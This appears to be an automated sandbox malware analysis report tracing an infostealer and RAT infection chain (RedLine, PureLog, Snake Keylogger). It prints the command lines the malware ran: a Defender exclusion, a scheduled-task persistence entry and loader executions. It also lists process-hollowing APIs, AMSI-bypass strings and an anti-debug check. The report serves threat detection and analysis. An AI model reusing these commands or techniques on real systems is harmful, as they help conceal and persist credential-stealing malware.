Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, Author: Florian Roth
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 91%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	13:09:56
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi'
Imagebase:	0xe70000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:09:56
Start date:	09/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:09:56
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe" /st 13:14 /du 23:59 /sc daily /ri 1 /f
Imagebase:	0x320000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	13:09:56
Start date:	09/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:10:01
Start date:	09/01/2025
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff717f30000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:10:05
Start date:	09/01/2025
Path:	C:\Users\Public\Libraries\Oupzhkpr.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Oupzhkpr.PIF"
Imagebase:	0x400000
File size:	1'317'376 bytes
MD5 hash:	E337ECD5680D121D6DD649956DC716CA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 100%, Avira Detection: 47%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:10:06
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2828, Parent PID: 6896

General

Target ID:	23
Start time:	13:10:06
Start date:	09/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:10:06
Start date:	09/01/2025
Path:	C:\Users\Public\Libraries\rpkhzpuO.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\rpkhzpuO.pif
Imagebase:	0x400000
File size:	175'800 bytes
MD5 hash:	22331ABCC9472CC9DC6F37FAF333AA2C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000018.00000002.2745277954.0000000034B30000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000018.00000002.2741756362.00000000343B0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000018.00000002.2718853988.0000000031B53000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000018.00000003.2609245491.000000002FFBA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000018.00000002.2740855997.0000000032F75000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:10:20
Start date:	09/01/2025
Path:	C:\Users\Public\Libraries\Oupzhkpr.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Oupzhkpr.PIF"
Imagebase:	0x400000
File size:	1'317'376 bytes
MD5 hash:	E337ECD5680D121D6DD649956DC716CA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:10:20
Start date:	09/01/2025
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
Imagebase:	0x7ff642ec0000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	13:10:22
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6684, Parent PID: 4816

General

Target ID:	28
Start time:	13:10:22
Start date:	09/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	13:10:22
Start date:	09/01/2025
Path:	C:\Users\Public\Libraries\rpkhzpuO.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\rpkhzpuO.pif
Imagebase:	0x400000
File size:	175'800 bytes
MD5 hash:	22331ABCC9472CC9DC6F37FAF333AA2C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000001D.00000002.2840097800.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001D.00000003.2772871636.00000000234E1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001D.00000002.2871352037.0000000025380000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000001D.00000001.2760141830.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001D.00000002.2881899810.0000000026485000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001D.00000002.2869962358.00000000250F0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001D.00000002.2869415210.0000000024E93000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	13:10:41
Start date:	09/01/2025
Path:	C:\Users\user\AppData\Roaming\ACCApi\apihost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\ACCApi\apihost.exe"
Imagebase:	0xf0000
File size:	665'670'656 bytes
MD5 hash:	10751439BD30D4B3066935F2DFFDC3C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	13.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	10.4%
Total number of Nodes:	289
Total number of Limit Nodes:	15

Executed Functions

Function 02C48BB0 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654
threadnativeinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02C48824: LoadLibraryA.KERNEL32(00000000,00000000,02C4890B), ref: 02C48858
Part of subcall function 02C48824: FreeLibrary.KERNEL32(74F60000,00000000,02C91388,Function_000065D8,00000004,02C91398,02C91388,05F5E0FF,00000040,02C9139C,74F60000,00000000,00000000,00000000,00000000,02C4890B), ref: 02C488EB

Part of subcall function 02C485DC: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02C48668

GetThreadContext.KERNEL32(00000884,02C91420,ScanString,02C913A4,02C4A77C,UacInitialize,02C913A4,02C4A77C,ScanBuffer,02C913A4,02C4A77C,ScanBuffer,02C913A4,02C4A77C,UacInitialize,02C913A4), ref: 02C49442

Part of subcall function 02C48254: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02C482C5

Part of subcall function 02C484C4: NtUnmapViewOfSection.NTDLL(?,?), ref: 02C48529

Part of subcall function 02C479B4: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02C47A27

Part of subcall function 02C47D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02C47D74

SetThreadContext.KERNEL32(00000884,02C91420,ScanBuffer,02C913A4,02C4A77C,ScanString,02C913A4,02C4A77C,Initialize,02C913A4,02C4A77C,00000868,002FAFF8,02C914F8,00000004,02C914FC), ref: 02C4A157
NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(00000884,00000000,00000884,02C91420,ScanBuffer,02C913A4,02C4A77C,ScanString,02C913A4,02C4A77C,Initialize,02C913A4,02C4A77C,00000868,002FAFF8,02C914F8), ref: 02C4A164

Part of subcall function 02C487A0: LoadLibraryW.KERNEL32(bcrypt,?,00000884,00000000,02C913A4,02C4A3C7,ScanString,02C913A4,02C4A77C,ScanBuffer,02C913A4,02C4A77C,Initialize,02C913A4,02C4A77C,UacScan), ref: 02C487B4
Part of subcall function 02C487A0: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02C487CE
Part of subcall function 02C487A0: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000884,00000000,02C913A4,02C4A3C7,ScanString,02C913A4,02C4A77C,ScanBuffer,02C913A4,02C4A77C,Initialize), ref: 02C4880A

Strings

MiniDumpWriteDump, xrefs: 02C4A554
BCryptQueryProviderRegistration, xrefs: 02C4A3C7
BCryptRegisterProvider, xrefs: 02C4A3DB
UacInitialize, xrefs: 02C48E72, 02C491D3, 02C49352, 02C49456, 02C49852, 02C499C6, 02C4A170
NtReadVirtualMemory, xrefs: 02C4A460
NtSetSecurityObject, xrefs: 02C4A6CF
BCryptVerifySignature, xrefs: 02C4A3B3
ScanBuffer, xrefs: 02C48D0C, 02C48D94, 02C4912F, 02C49244, 02C492E1, 02C4961A, 02C497A1, 02C49934, 02C49B19, 02C49C2E, 02C49DEC, 02C49F5C, 02C4A0CF, 02C4A2C3, 02C4A4E1, 02C4A627
ScanString, xrefs: 02C48C42, 02C48DED, 02C48F9B, 02C493C3, 02C495A9, 02C49730, 02C49BBD, 02C49D7B, 02C49EEB, 02C4A05E, 02C4A349, 02C4A3F6
I_QueryTagInformation, xrefs: 02C4A540
Initialize, xrefs: 02C48F2A, 02C49538, 02C496BF, 02C49AA8, 02C49D0A, 02C49E7A, 02C49FED, 02C4A252, 02C4A583
advapi32, xrefs: 02C4A545
OpenSession, xrefs: 02C48BE9, 02C4900C, 02C490BE, 02C4A48F, 02C4A5D5
ntdll, xrefs: 02C4A465, 02C4A479, 02C4A531, 02C4A6D4, 02C4A6E8
NtOpenObjectAuditAlarm, xrefs: 02C4A474, 02C4A52C
sppc, xrefs: 02C491B6
bcrypt, xrefs: 02C4A3B8, 02C4A3CC, 02C4A3E0
SLGetLicenseInformation, xrefs: 02C4919F
NtOpenProcess, xrefs: 02C4A6E3
dbgcore, xrefs: 02C4A559, 02C4A56D
UacScan, xrefs: 02C48CB3, 02C48ECB, 02C494C7, 02C498C3, 02C49A37, 02C4A1E1, 02C4A679
MiniDumpReadDumpStream, xrefs: 02C4A568

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: Library$MemoryThreadVirtual$ContextFreeLoad$AddressAllocateCreateProcProcessReadResumeSectionUnmapUserViewWrite
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 1022112746-51457883
Opcode ID: 81b23c65aea8020546dbc4a94c6b097426b7f6d40694db4bfb084e6308ae4020
Instruction ID: 6030126a2874176fbc06cf04b8ae37fc07095c389c27cb2845dfaef2a4cddd0d
Opcode Fuzzy Hash: 81b23c65aea8020546dbc4a94c6b097426b7f6d40694db4bfb084e6308ae4020
Instruction Fuzzy Hash: 28E20B75A901189FDB26EB64CCA0FDF77BAAF89310F1049A1E009AB314DE30AE45DF51

Function 02C48BAE Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02C48824: LoadLibraryA.KERNEL32(00000000,00000000,02C4890B), ref: 02C48858
Part of subcall function 02C48824: FreeLibrary.KERNEL32(74F60000,00000000,02C91388,Function_000065D8,00000004,02C91398,02C91388,05F5E0FF,00000040,02C9139C,74F60000,00000000,00000000,00000000,00000000,02C4890B), ref: 02C488EB

Part of subcall function 02C485DC: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02C48668

GetThreadContext.KERNEL32(00000884,02C91420,ScanString,02C913A4,02C4A77C,UacInitialize,02C913A4,02C4A77C,ScanBuffer,02C913A4,02C4A77C,ScanBuffer,02C913A4,02C4A77C,UacInitialize,02C913A4), ref: 02C49442

Part of subcall function 02C48254: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02C482C5

Part of subcall function 02C484C4: NtUnmapViewOfSection.NTDLL(?,?), ref: 02C48529

Part of subcall function 02C479B4: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02C47A27

Strings

MiniDumpWriteDump, xrefs: 02C4A554
BCryptQueryProviderRegistration, xrefs: 02C4A3C7
BCryptRegisterProvider, xrefs: 02C4A3DB
UacInitialize, xrefs: 02C48E72, 02C491D3, 02C49352, 02C49456, 02C4A170
NtReadVirtualMemory, xrefs: 02C4A460
NtSetSecurityObject, xrefs: 02C4A6CF
BCryptVerifySignature, xrefs: 02C4A3B3
ScanBuffer, xrefs: 02C48D0C, 02C48D94, 02C4912F, 02C49244, 02C492E1, 02C4961A, 02C497A1, 02C49934, 02C49B19, 02C49C2E, 02C49DEC, 02C49F5C, 02C4A0CF, 02C4A2C3, 02C4A4E1, 02C4A627
ScanString, xrefs: 02C48C42, 02C48DED, 02C48F9B, 02C493C3, 02C495A9, 02C49730, 02C49BBD, 02C49D7B, 02C49EEB, 02C4A05E, 02C4A349, 02C4A3F6
I_QueryTagInformation, xrefs: 02C4A540
Initialize, xrefs: 02C48F2A, 02C49538, 02C496BF, 02C49AA8, 02C49D0A, 02C49E7A, 02C49FED, 02C4A252, 02C4A583
advapi32, xrefs: 02C4A545
OpenSession, xrefs: 02C48BE9, 02C4900C, 02C490BE, 02C4A48F, 02C4A5D5
ntdll, xrefs: 02C4A465, 02C4A479, 02C4A531, 02C4A6D4, 02C4A6E8
NtOpenObjectAuditAlarm, xrefs: 02C4A474, 02C4A52C
sppc, xrefs: 02C491B6
bcrypt, xrefs: 02C4A3B8, 02C4A3CC, 02C4A3E0
SLGetLicenseInformation, xrefs: 02C4919F
NtOpenProcess, xrefs: 02C4A6E3
dbgcore, xrefs: 02C4A559, 02C4A56D
UacScan, xrefs: 02C48CB3, 02C48ECB, 02C494C7, 02C498C3, 02C49A37, 02C4A1E1, 02C4A679
MiniDumpReadDumpStream, xrefs: 02C4A568

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: LibraryMemoryVirtual$AllocateContextCreateFreeLoadProcessReadSectionThreadUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 4113022151-51457883
Opcode ID: d400ca5288ecda265db4266ce13eee2214072b0e61758449569dcaa4c51f010b
Instruction ID: 3e3d828b954d49e682ec22f393d6bc6c06179c123929b586c54ca415ba11816e
Opcode Fuzzy Hash: d400ca5288ecda265db4266ce13eee2214072b0e61758449569dcaa4c51f010b
Instruction Fuzzy Hash: 11E20B75A901189FDB26EB64CCA0FDF77BAAF89310F1049A1E009AB314DE30AE45DF51

Function 02C35A78 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,02C30000,02C5D790), ref: 02C35A94
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02C30000,02C5D790), ref: 02C35AB2
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02C30000,02C5D790), ref: 02C35AD0
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02C35AEE
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02C35B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02C35B37
RegQueryValueExA.ADVAPI32(?,02C35CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02C35B7D,?,80000001), ref: 02C35B55
RegCloseKey.ADVAPI32(?,02C35B84,00000000,?,?,00000000,02C35B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02C35B77
lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02C35B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02C35BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02C35BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02C35BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02C35C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02C35C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02C35C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02C35C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02C35C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02C35C97

Strings

Software\Borland\Locales, xrefs: 02C35AA8, 02C35AC6
Software\Borland\Delphi\Locales, xrefs: 02C35AE4

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: 4eb4c7cb8503daae725996ffc278b6f5417df8013845581444f64269e4e34608
Instruction ID: f789ba5b90fe4a819989a88f134f18ee0187c592ad0e22b95f64ab39c135eacf
Opcode Fuzzy Hash: 4eb4c7cb8503daae725996ffc278b6f5417df8013845581444f64269e4e34608
Instruction Fuzzy Hash: 9A51A971A4024C7EFB26D6A4DC46FEF77BD9B0C784F8409A1AA04E6181D7B49B449FA0

Function 02C487A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(bcrypt,?,00000884,00000000,02C913A4,02C4A3C7,ScanString,02C913A4,02C4A77C,ScanBuffer,02C913A4,02C4A77C,Initialize,02C913A4,02C4A77C,UacScan), ref: 02C487B4
GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02C487CE
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000884,00000000,02C913A4,02C4A3C7,ScanString,02C913A4,02C4A77C,ScanBuffer,02C913A4,02C4A77C,Initialize), ref: 02C4880A

Part of subcall function 02C47D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02C47D74

Strings

BCryptVerifySignature, xrefs: 02C487C7
bcrypt, xrefs: 02C487B3

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: 9d03acdc166dafd9c1cb6b09cc831b57708f4c184c008b667eda2d96857cd389
Instruction ID: 09c783728bac928814d8288a3b47583138a5d450b95877df9cea1602d352a6e4
Opcode Fuzzy Hash: 9d03acdc166dafd9c1cb6b09cc831b57708f4c184c008b667eda2d96857cd389
Instruction Fuzzy Hash: C3F04F71A81215FEEB119A68AC4EB7773BCB785359F180B79B10C87540CBF058508B50

Function 02C4EBF0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KernelBase), ref: 02C4EC00
GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02C4EC12
CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02C4EC29

Strings

CheckRemoteDebuggerPresent, xrefs: 02C4EC0C
KernelBase, xrefs: 02C4EBFB

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

